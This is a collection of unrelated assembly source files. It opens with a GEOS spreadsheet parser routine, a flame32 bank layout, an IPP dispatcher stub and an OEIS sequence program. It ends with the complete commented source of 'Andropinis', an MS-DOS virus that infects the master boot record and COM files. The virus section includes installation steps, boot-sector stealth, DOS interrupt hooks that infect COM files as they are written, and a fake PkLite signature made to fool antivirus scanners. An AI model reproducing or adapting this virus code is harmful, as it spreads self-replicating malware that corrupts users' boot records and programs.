offset cs:FunctionTanh,
offset cs:FunctionTerm,
offset cs:FunctionTime,
offset cs:FunctionTimeValue,
offset cs:FunctionToday,
offset cs:FunctionTrim,
offset cs:FunctionTrue,
offset cs:FunctionTrunc,
offset cs:FunctionUpper,
offset cs:FunctionValue,
offset cs:FunctionVar,
offset cs:FunctionVarP,
offset cs:FunctionVLookup,
offset cs:FunctionWeekday,
offset cs:FunctionYear,
offset cs:FunctionFilename,
offset cs:FunctionPage,
offset cs:FunctionPages,
offset cs:FunctionDegrees,
offset cs:FunctionRadians ; Standard
endif
CheckHack <(length functionHandlers) eq (length funcTable)>
;
; A list of handlers for operators.
;
operatorHandlers word offset cs:OpRangeSeparator,
offset cs:OpNegation,
offset cs:OpPercent,
offset cs:OpExponentiation,
offset cs:OpMultiplication,
offset cs:OpDivision,
offset cs:OpModulo,
offset cs:OpAddition,
offset cs:OpSubtraction,
offset cs:OpEqual,
offset cs:OpNotEqual,
offset cs:OpLessThan,
offset cs:OpGreaterThan,
offset cs:OpLessThanOrEqual,
offset cs:OpGreaterThanOrEqual,
offset cs:OpStringConcat,
offset cs:OpParserRangeIntersection,
offset cs:OpNotEqual,
offset cs:OpDivision,
offset cs:OpLessThanOrEqual,
offset cs:OpGreaterThanOrEqual
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPopNArgs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pop a number of arguments off the argument stack.
CALLED BY: Global
PASS: es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
cx = Number of arguments to pop off.
RETURN: es:bx = Pointer to new top of argument stack
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
It is important to note that this routine does not perform
any sort of destructive acts to the ArgumentStack.
It only changes the stack pointer.
There is code that depends on the only effect of this
routine being to change the stack pointer.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/30/91 Initial version
witt 11/16/93 DBCS-ized
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPopNArgs proc far
uses ax, cx, dx, di
.enter
jcxz quit ; Quit if no arguments to pop
popLoop:
;
; Pop a single argument off the stack.
;
clr ah
mov al, es:[bx].ASE_type ; ax <- argument type
;
; Check for popping top of stack item.
;
EC < cmp al, ESAT_TOP_OF_STACK >
EC < ERROR_Z EVAL_CANT_POP_ARGUMENT_TOP_OF_STACK >
push si
call GetArgumentSize ; si <- size of the argument
mov dx, si ; dx <- size of the argument
pop si
inc dx ; One byte for the type
test al, mask ESAT_STRING
jz doPop ; Branch if not string constant
;
; For string constants we need to add the string length to get the
; true size of the argument, and also include the NULL
;
if DBCS_PCGEOS
mov ax, es:[bx].ASE_data.ESAD_string.ESD_length
inc ax ; +1 for NULL
shl ax, 1 ; ax <- string size
add dx, ax
else
add dx, es:[bx].ASE_data.ESAD_string.ESD_length
inc dx ; +1 for NULL
endif
doPop:
;
; dx = amount to add to argStackPtr
;
add bx, dx ; Update the argument stack pointer
loop popLoop ; Loop to pop next argument
quit:
.leave
ret
ParserEvalPopNArgs endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PopOperator
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove an operator from the OperatorStack
CALLED BY: PopOperatorAndEval, EvalCloseParen, EvalCloseFunction
PASS: es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
es:bx = Pointer to new top of argument stack
es:di = Pointer to new top of operator stack.
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/31/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PopOperator proc near
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
EC < cmp es:[di].OSE_type, ESOT_TOP_OF_STACK >
EC < ERROR_Z EVAL_CANT_POP_OPERATOR_TOP_OF_STACK >
;
; Adjust the stack pointer.
;
sub di, size OperatorStackElement
clc ; Signal: no error
ret
PopOperator endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalForeachArg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call a callback once for each argument
CALLED BY: Internal and External functions
PASS: es:bx = Pointer to ArgumentStack
cx = # of arguments
ss:bp = Pointer to EvalParameters structure on the stack
ax:si = Pointer to callback routine
RETURN: carry set on error
al = error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Callback should be defined as...
Pass: es:bx = Pointer to an argument on the stack
cx = Argument number (numbered from 0)
Return: carry set on error
al = error code
Destroyed: ax
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/31/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FA_vars struct
FAV_callback dword
FA_vars ends
ParserEvalForeachArg proc far
uses bx, cx, dx, di
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < mov bx, ax >
EC < call ECAssertValidFarPointerXIP >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
mov di, bp ; Save frame pointer
sub sp, size FA_vars ; Make a stack frame
mov bp, sp ; bp <- frame ptr
mov ss:[bp].FAV_callback.segment,ax ; Save callback segment
mov ss:[bp].FAV_callback.offset, si ; Save callback offset
xchg di, bp ; ss:di <- ptr to our frame
; ss:bp <- Passed frame
mov dx, cx ; dx <- # of arguments
clr cx ; Current argument number
argLoop:
;
; es:bx = Pointer to arguments
; cx = Current argument
; dx = # of arguments
; ss:bp = Pointer to EvalParameters
; ss:di = Pointer to FAV_frame
;
tst dx ; Clears the carry
jz quit ; Quit if no arguments
if FULL_EXECUTE_IN_PLACE
pushdw ss:[di].FAV_callback
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[di].FAV_callback ; Call the callback
endif
jc quit ; Quit on error
dec dx ; One less argument
jz quit ; Quit if no more
;
; More arguments, pop the current one off.
;
push cx ; Save current arg#
mov cx, 1 ; Pop one argument please
call ParserEvalPopNArgs
pop cx ; Restore current arg#
inc cx ; Next argument number
jmp argLoop ; Branch to handle it.
quit:
lahf ; Save carry (error) flag
add sp, size FA_vars ; Restore stack frame
sahf ; Restore carry (error) flag
.leave
ret
ParserEvalForeachArg endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RecoverFromError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do any error-recovery necessary
CALLED BY: ParserEvalExpression
PASS: ss:bp = Pointer to EvalParameters
RETURN: ds = segment address we started with
carry set
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Unwind any nested expressions we might be evaluating. Also free
the dependency block handle if one exists.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RecoverFromError proc near
uses bx, ds, si
.enter
clr bx ; bx <- dependency block handle
; Zero dependency block handle
xchg bx, ss:[bp].EP_depHandle
tst bx ; Check for no dependencies
jz keepDepBlock ; Branch if none
call MemUnlock ; Unlock it...
call MemFree ; Then free it
keepDepBlock:
;
; Unlock the nested locked names.
;
unlockLoop:
tst ss:[bp].EP_nestedLevel ; Check for no more to do
jz done ; Quit if no more
call UnwindOneNesting ; Unwind a single level
jmp unlockLoop ; Loop to do the next one
done:
stc ; Signal: error
.leave
ret
RecoverFromError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UnwindOneNesting
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: UnwindNesting
PASS: ss:bp = Pointer to EvalParameters
ds:si = Pointer to the current expression
RETURN: ds:si = Pointer that was saved for a given nesting level
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UnwindOneNesting proc near
uses ax, di
.enter
mov al, CT_UNLOCK
if FULL_EXECUTE_IN_PLACE
push bx
mov ss:[TPD_dataBX], bx
mov ss:[TPD_dataAX], ax
movdw bxax, ss:[bp].CP_callback ; Call the application
call ProcCallFixedOrMovable
pop bx
else
call ss:[bp].CP_callback ; Have application unlock block
endif
dec ss:[bp].EP_nestedLevel ; One less nesting level
;
; Restore the segment/ and loop
;
mov di, ss:[bp].EP_nestedLevel ; di <- index into the table
shl di, 1 ; dword sized structures
shl di, 1
mov ds, ss:[bp].EP_nestedAddresses[di].segment
mov si, ss:[bp].EP_nestedAddresses[di].offset
.leave
ret
UnwindOneNesting endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DereferenceCell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Dereference a cell which is sitting on the top of the argument
stack.
CALLED BY: EvalEndOfExpression, EvalArgEnd, ParserEvalPushArgument
PASS: es:bx = Pointer to top of argument stack
es:di = Pointer to operator stack
ss:bp = Pointer to EvalParameters on the stack
RETURN: es:bx = New pointer to top of argument stack
carry set on error
al = Error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/11/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DereferenceCell proc near
uses cx, dx
.enter
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jnz quitNoError ; Branch if making dependencies
;
; Check the top of the operator-stack to see if it's a range-separator
; or a range-intersection.
;
cmp es:[di].OSE_type, ESOT_OPERATOR
jne deref ; Branch if it's not
cmp es:[di].OSE_data.ESOD_operator.EOD_opType, OP_RANGE_SEPARATOR
je quit ; Branch if it is
cmp es:[di].OSE_data.ESOD_operator.EOD_opType, OP_RANGE_INTERSECTION
je quit ; Branch if it is
deref:
;
; Dereference the cell...
;
test es:[bx].ASE_type, mask ESAT_RANGE
jz quitNoError ; Branch if not a cell
;
; It's a range, check for start and end cells being the same.
;
mov dx, es:[bx].ASE_data.ESAD_range.ERD_firstCell.CR_row
cmp dx, es:[bx].ASE_data.ESAD_range.ERD_lastCell.CR_row
jne quitNoError ; Not a cell if rows differ
mov cx, es:[bx].ASE_data.ESAD_range.ERD_firstCell.CR_column
cmp cx, es:[bx].ASE_data.ESAD_range.ERD_lastCell.CR_column
jne quitNoError ; Not a cell if columns differ
;
; It's a cell, we have the row/column, pop the range, then call the
; application to push the cell data.
;
and dx, mask CRC_VALUE ; dx/cx <- row/column of cell
and cx, mask CRC_VALUE
clr ch ; Pop argument
mov al, CT_DEREF_CELL ; Push the cell data
if FULL_EXECUTE_IN_PLACE
pushdw ss:[bp].CP_callback ; Call the application
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[bp].CP_callback ; Call the application
endif
jc quit ; Branch on error
quitNoError:
clc ; Signal: no error
quit:
.leave
ret
DereferenceCell endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReplaceArgumentWithError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Replace the top element of the argument stack with an error.
CALLED BY: Utility
PASS: al = error code
es:bx = Pointer to the argument stack
RETURN: es:bx = New pointer to the argument stack
carry set on serious error
al = error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReplaceArgumentWithError proc near
uses cx
.enter
mov cx, 1 ; Replace one element
call PropogateError ; Put the error code on the stack
.leave
ret
ReplaceArgumentWithError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FixupFPStack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fixup the fp-stack
CALLED BY: ParserEvalExpression
PASS: carry set if an error was encountered
carry clear otherwise
ss:bp = Pointer to EvalParameters
es:bx = Pointer to arg-stack
RETURN: carry unchanged
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/12/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FixupFPStack proc near
uses ax
.enter
pushf ; Save error flag
;
; Check for a basic serious error...
;
jc restoreStackPointer ; Branch if error
;
; Check for generating dependencies.
;
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jnz restoreStackPointer ; Branch if making dependencies
;
; Check for not returning a number.
;
test es:[bx].ASE_type, mask ESAT_NUMBER
jz restoreStackPointer ; Branch if not returning a number
;
; We are returning a number. This means that we really want to promote
; the number at the bottom of the fp-stack to reside at the position
; just below the stack pointer we saved when we came into the
; evaluation code. Currently we don't have any faster technique for
; doing this than what I'm doing here.
;
; If the expression evaluated correctly (and it did) then the only
; reason for promoting the last number on the stack is if some error
; was generated in the expression.
;
; If there was an error and we are returning a number then that means
; that we somehow handled the error (like with ISERR()) and the
; fp-stack is possibly screwed up.
;
;
; Check for any error generated.
;
test ss:[bp].EP_flags, mask EF_ERROR_PUSHED
jz quit ; Branch if no error generated
push es, di, ds, si ; Save pointer
sub sp, size FloatNum ; Make space on the stack
segmov es, ss, si ; es:di and ds:si <- pointer to the
mov ds, si ; FloatNum on the stack
mov si, sp
mov di, si
call FloatPopNumber ; Get result from fp-stack
mov ax, ss:[bp].EP_fpStack ; ax <- stack pointer to restore
call FloatSetStackPointer ; Restore the stack pointer
call FloatPushNumber ; Put result back on fp-stack
add sp, size FloatNum ; Restore stack
pop es, di, ds, si ; Restore pointers
jmp quit ; All done...
restoreStackPointer:
;
; Either we are returning a serious error or we are not returning
; a number. In either case we can restore the fp-stack without
; damaging anyone.
;
mov ax, ss:[bp].EP_fpStack ; ax <- stack pointer to restore
call FloatSetStackPointer ; Set the new stack pointer
quit:
popf ; Restore error flag
.leave
ret
FixupFPStack endp
EvalCode ends
| 28.338485 | 82 | 0.62847 |
5d02a372bfb5ed6e2ca6bfe91296a99c0f2ebeec | 518 | asm | Assembly | flame32-bios-banks.asm | drako0812/flame32 | cf79e5fc14838cc3ca0dbe702bbdb8f157a587ab | [
"MIT"
] | 2 | 2019-08-21T09:16:32.000Z | 2020-08-12T12:56:08.000Z | flame32-bios-banks.asm | drako0812/flame32 | cf79e5fc14838cc3ca0dbe702bbdb8f157a587ab | [
"MIT"
] | null | null | null | flame32-bios-banks.asm | drako0812/flame32 | cf79e5fc14838cc3ca0dbe702bbdb8f157a587ab | [
"MIT"
] | null | null | null | #include "flame32.asm"
#bankdef "bios"
{
#addr 0x000000
#size 0x100000
#outp 0x000000
#fill
}
#bankdef "stack"
{
#addr 0x100000
#size 0x100000
#outp 0x100000
#fill
}
#bankdef "gfx"
{
#addr 0x200000
#size 0x100000
#outp 0x200000
#fill
}
#bankdef "hw"
{
#addr 0x300000
#size 0x100000
#outp 0x300000
#fill
}
#bankdef "os"
{
#addr 0x400000
#size 0x200000
#outp 0x400000
#fill
}
#bankdef "user"
{
#addr 0x600000
#size 0x400000
}
| 10.791667 | 22 | 0.584942 |
ec26a482e8fb0eb7276a751c3043037c6a26ef7e | 941 | asm | Assembly | _build/dispatcher/jmp_ippsDESPack_a5aa9349.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsDESPack_a5aa9349.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsDESPack_a5aa9349.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsDESPack:function
extern n8_ippsDESPack:function
extern y8_ippsDESPack:function
extern e9_ippsDESPack:function
extern l9_ippsDESPack:function
extern n0_ippsDESPack:function
extern k0_ippsDESPack:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsDESPack
.Larraddr_ippsDESPack:
dq m7_ippsDESPack
dq n8_ippsDESPack
dq y8_ippsDESPack
dq e9_ippsDESPack
dq l9_ippsDESPack
dq n0_ippsDESPack
dq k0_ippsDESPack
segment .text
global ippsDESPack:function (ippsDESPack.LEndippsDESPack - ippsDESPack)
.Lin_ippsDESPack:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsDESPack:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsDESPack]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsDESPack:
| 24.128205 | 71 | 0.766206 |
1c78d4a1c7f2a112d248495f090a57bd66c1676c | 358 | asm | Assembly | programs/oeis/040/A040376.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/040/A040376.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/040/A040376.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A040376: Continued fraction for sqrt(396).
; 19,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1,38,1,8,1
seq $0,40548 ; Continued fraction for sqrt(572).
mul $0,2
sub $0,4
div $0,3
add $0,2
mul $0,5
add $0,1
div $0,4
sub $0,1
| 27.538462 | 190 | 0.600559 |
79a4a9a22b52a901a8c5fe70ac993563a6730fb7 | 19,469 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.andropin.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.andropin.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.andropin.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;******************************************************************************
;
; Virus name : Andropinis
; Author : Rajaat
; Origin : United Kingdom, March 1995
; Compiling : Using TASM | Using A86
; |
; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM
; TLINK ANDROPIN |
; EXE2BIN ANDROPIN |
; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2
; Modify the partition record to point to this code
; (a debug script is provided at the end of this source)
; Targets : Master Boot Record & COM files
; Size : 512 bytes
; Polymorphic : No
; Encrypted : No
; Stealth : Full Stealth on Master Boot Record
; Tunneling : No - is not needed if started from Master boot record
; Retrovirus : No
; Antiheuristics: Yes - for TBAV
; Peculiarities : Infects MBR by modifying 2 bytes
; Uses SFT's to infect COM files
; Avoids Thunderbyte Antivirus using a 2 byte signature!
; Behaviour : When an infected COM file is run, the virus will not become
; resident, but will first infect the master boot record. It
; does its work in a very peculiar way. It modifies the
; 1st partition record with the result that it points to
; cylinder 0, head 0, sector 2. The viral bootsector will be
; stored there. The next time when a system is booted,
; Andropinis will become resident in high memory, but below
; the top of memory. Programs like CHKDSK.EXE will show a
; decrease in system memory of 1024 bytes. The virus will hook
; interrupt 13 at this time and wait till interrupt 21 is
; captured 3 times. Andropinis will then take interrupt 21
; itself. The virus is now stealth on the master boot record,
; only modifying the pointer to the bootsector in memory when
; the master boot record is read. The virus will infect COM
; files when copied, therefore not needing a critical interrupt
; handler. Andropinis will only infect COM files when they are
; between 4095 and 61441 bytes. Infected files will begin with
; a PUSH AX, DEC BX, NOP and a near jump to the virus code.
; The first 2 instructions will cause the Thunderbyte scanner
; to avoid the file. It thinks it's processed with PkLite! f
; Even the "ex"tract option doesn't work and gives back a "N/A"
; for every infected file. F-PROT detects nothing, except when
; the /ANALYSE option is used. AVP gives a virus "Type Boot"
; suspicion. How true that is. The weak point of the virus is
; its lack of protection in infected COM files, so it relies on
; the fact that the Master Boot Record infection isn't visible.
; Tai-Pan spread also far, and was even more simplistic than
; Andropinis, with the exception that is infected the more
; common filetype, the EXE file. The virus doesn't do any
; intended harm, as Patty would say :
; "It's unknown what this virus does besides replicate."
; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE],
; and all other virus writers that exist.
;
;******************************************************************************
.model tiny ; this must become a BIN file
.code ; let's start with the code, ok
.radix 16 ; safe hex
org 0 ; throw it in the bin
;******************************************************************************
; Viral boot sector
;******************************************************************************
virus: xor bx,bx ; initialise stack and data
cli ; segment
mov ss,bx ;
mov ds,bx ;
mov sp,7c00 ;
push sp ;
sti ;
mov si,413 ; steal some memory from the
dec word ptr [si] ; top
lodsw ;
mov cl,6 ; calculate free segment for
shl ax,cl ; virus
mov es,ax ;
pop si
mov di,bx ; push data for a far jump to
push di ; the virus code in high memory
push es ;
lea ax,init_resident ;
push ax ;
mov cx,100 ; move the code to high memory
move_boot: movsw ; this doesn't trigger tbav
loop move_boot ;
retf ; return to the address pushed
;******************************************************************************
; the following piece of code is executed in high memory
;******************************************************************************
init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag
lea di,old_13 ; store old int 13 vector and
mov si,4*13 ; replace it with our new
lea ax,new_13 ; handler
xchg ax,[si] ;
stosw ;
mov ax,cs ;
xchg ax,[si+2] ;
stosw ;
mov si,4*21 ; store new address to int 21
lea ax,new_21 ; vector
xchg ax,[si] ;
mov ax,cs ;
xchg ax,[si+2] ;
pop es ; read the original bootsector
push es ; and execute it
mov ax,0201 ;
mov dx,180 ;
mov cx,1 ;
mov bx,7c00 ;
push bx ;
int 13h ;
retf ;
;******************************************************************************
; new int 13 handler
;******************************************************************************
new_13: cmp ax,5001 ; installation check
jne no_inst_check ;
xchg ah,al ;
iret
no_inst_check: cmp ah,2 ; check if partition sector
jne no_stealth ; is read. if not, there's
cmp dx,80 ; no need to use stealth
jne no_stealth ;
cmp cx,1 ;
jne no_stealth ;
pushf ; perform read action, and
call dword ptr cs:[old_13] ; go to stealth_mbr if no error
jnc stealth_mbr ; occured
retf 2 ;
stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active?
jne not_infected ; no, goto not_infected
mov word ptr es:1bf[bx],0101 ; stealth virus
not_infected: iret ;
no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int
je eoi_13 ; 21, get lost to eoi_13
push ax ; preserve these
push ds ;
xor ax,ax ; is int 21 changed?
mov ds,ax ;
mov ax,cs ;
cmp ax,word ptr ds:[4*21+2] ;
je int_21_ok ; no, int 21 is ok
inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag
lea ax,new_21 ; capture int 21 and store
xchg ax,ds:[4*21] ; the old vector
mov word ptr cs:old_21,ax ;
mov ax,cs ;
xchg ax,ds:[4*21+2] ;
mov word ptr cs:old_21[2],ax ;
int_21_ok: pop ds ; get these back
pop ax ;
eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13
;******************************************************************************
; new int 21 handler
;******************************************************************************
new_21: cmp ah,40 ; is a write command performed?
je write_to_file ; yeah, write_to_file
eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21
write_to_file: push ax ; preserve some registers
push bx ;
push dx ;
push di ;
push es ;
mov ax,4400 ; check if the write belongs
int 21 ; to a device
test dl,80 ;
jnz not_suitable ;
mov ax,1220 ; find file handle table that
int 2f ; belongs to the handle in bx
mov bl,byte ptr es:[di] ;
mov ax,1216 ;
int 2f ;
mov bx,2020 ; check if the file has a com
mov ax,word ptr es:[di+28] ; extension
or ax,bx ;
cmp ax,'oc' ;
jne not_suitable ;
mov al,byte ptr es:[di+2a] ;
or al,bl ;
cmp al,'m' ;
jne not_suitable ;
cmp word ptr es:[di+11],0 ; check if file length is
jne not_suitable ; zero
cmp cx,1000 ; check if piece of code is
jb not_suitable ; not too short or too long
cmp cx,0f000 ;
ja not_suitable ;
pop es ; these registers are done
pop di ;
pop dx ;
mov bx,dx ; check if the file is a
cmp word ptr ds:[bx],'ZM' ; renamed exe file
je is_renamed_exe ;
cmp word ptr ds:[bx+2],0e990 ; check if already infected
jne infect_com ;
jmp is_renamed_exe
not_suitable: pop es ; done with this interrupt
pop di ; service routine, so chain
pop dx ; to the old 21 routine
is_renamed_exe: pop bx ;
pop ax ;
jmp eoi_21 ;
;******************************************************************************
; piece of code that infects a COM file
;******************************************************************************
infect_com: pop bx ; this register was done
push cx ; get the first 6 bytes of the
push si ; host and overwrite them with
add cx,offset com_entry-6 ; the new bytes. it places a
mov si,dx ; nifty piece of code to
mov ax,'KP' ; render tbscans heuristics
xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX
mov word ptr cs:org_com,ax ; (PK) in the begin of the
lodsw ; program makes tbscan think
mov ax,0e990 ; it is a PkLite compressed
xchg word ptr ds:[si],ax ; file and will skip it!
mov word ptr cs:org_com+2,ax ;
lodsw ;
xchg word ptr ds:[si],cx ;
mov word ptr cs:org_com+4,cx ;
pop si ;
pop cx ;
pop ax ; perform original write
pushf ; command
call dword ptr cs:[old_21] ;
push ax ; and append the virus at the
push cx ; end of the file
push dx ;
push ds ;
push cs ;
pop ds ;
mov ah,40 ;
mov cx,virus_length_b ;
lea dx,virus ;
pushf ;
call dword ptr cs:[old_21] ;
pop ds ;
pop dx ;
pop cx ;
pop ax ;
retf 2 ;
;******************************************************************************
; this gets executed by an infected COM file
;******************************************************************************
com_entry: call get_offset ; old hat for getting the
get_offset: pop bp ; delta offset
sub bp,offset get_offset ;
mov ax,5001 ; if the virus is resident it
int 13 ; doesn't need to infect the
cmp ax,0150 ; master boot record
je is_active ;
mov ax,0201 ; read master boot record.
lea bx,heap[bp] ; if an error occured, goto
mov cx,1 ; is_active
mov dx,80 ;
int 13 ;
jc is_active ;
cmp word ptr [bx+1be+1],0101 ; test if the partition begins
jne is_active ; at the normal sector
test byte ptr [bx+1be],80 ; test of the partition is
jz is_active ; bootable
mov al,byte ptr [bx+1be+4] ; test if the partition type
cmp al,4 ; is ok
jb is_active ;
cmp al,6 ;
ja is_active ;
mov word ptr [bx+1be+1],200 ; change pointer to virus code
mov ax,0301 ; write back the master boot
push ax ; record. quit if error
int 13 ; occured
pop ax ;
jc is_active ;
inc cx ; write virus to sector 2
